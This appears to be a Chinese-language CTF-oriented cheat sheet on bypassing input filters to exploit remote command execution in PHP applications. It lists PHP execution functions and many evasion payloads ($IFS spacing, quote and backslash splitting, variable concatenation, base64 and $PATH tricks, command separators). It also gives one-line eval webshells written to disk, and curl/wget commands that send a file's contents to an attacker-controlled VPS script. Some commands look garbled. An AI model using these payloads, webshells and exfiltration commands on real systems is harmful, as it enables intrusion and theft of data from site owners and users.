远程RCE各种绕过姿势-常见

什么是远程RCE?

RCE顾名思义就是远程代码执行漏洞,属于高危漏洞,攻击着可以通过网站注入执行系统命令,读取系统敏感信息。

为什么会有此漏洞?

开发者在开发的时候,没有对一些执行命令的函数进行过滤,导致出现用户可以任意执行系统命令。

PHP中的执行命令函数:

1
2
3
4
PHP 代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP 命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

常见的绕过方法

过滤关键字,过滤 cat,flag等关键字

替代法

1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

(假设该目录下有/flag inedex.php)

1
cat `ls` 

等同于

1
cat /flag;cat index.php

字符转义

1
2
ca\t /fl\ag
cat fl''ag

例如:

传参法

1
a=fl;b=ag;cat$IFS$a$b

拼接:

比如:a=l;b=s;$a$b
利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
利用.拼接绕过(sy.(st).em)
使用内敛执行代替system

1
2
3
4
5
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
<?=`ls /`;?> # 等效于<?php echo `ls /`; ?>

反引号绕过

1
2
ls ----查看flag位置
cat `ls`

编码绕过

1
echo 'Y2F0wqAK' | base64 -d /flag

-d是解码,是base64解码

空格过滤

1
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

单引号和双引号绕过

1
比如:ca''t flag 或ca""t flag

利用Shell 特殊变量绕过

1
2
3
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示
比如:ca$@t fla$@g或者ca$1t fla$2g

文件构造

在cmd文件包含中,有一个shell.txt,也就是文件
我们令?file = shell.txt,已知shell.txt内容为

1
<?php eval($_REQUEST['cmd']);?>

request类型是由getpost构成的
post数据里输入
cmd=system(“ls /“);

一些命令分隔符

linux中:%0a(回车) 、%0d(换行) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

过滤目录分割符

1
2
采用多管道命令绕过
127.0.0.1||cd flag_is_here;cat /flag

输入字符串长度限制

1
2
3
4
#  \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行

利用$PATH环境变量绕过

1
echo $PATH
1
echo ${PATH:5:1}${PATH:2:1}

无回显

Shell_exec等无回显函数

方法一、

1、判断是否执行成功我们可以用sleep()

1
ls;sleep(5);

用压缩、复制、写shell等方法对其进行绕过(此处要注意权限,看是否有写的权限)没有权限是不能写入的

1
2
3
4
5
6
copy flag 1.txt
mv flag 1.txt
cat flag > 1.txt
tar zcvf flag.tar.gz flag
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php ---16进制转换写入
echo "<?php @eval($_POST['suifeng']); ?>" > webshell.php

方法二、

用vps建立记录脚本

我们使用自己的服务器写一个 test.php的文件

1
2
3
4
5
6
<?php
$data =$_GET['data'];
$f = fopen("/flag", "w");
fwrite($f,$data);
fclose($f);
?>

代码的意思就是打开一个/flag的文件并且写入 data

第二步我们开始构造请求

1
2
curl http://xxx/test.php?data=`cat /flag`
wget http://xxx/test.php?data=`cat /flag`

有时会读取不全,这里我没碰到,读取不全的话我们可以进行一个编码,如下。

1
2
curlhttp://xxx/test.php?data=`cat/flag|base64`
wgethttp://xxx/test.php?data=`cat/flag|base64`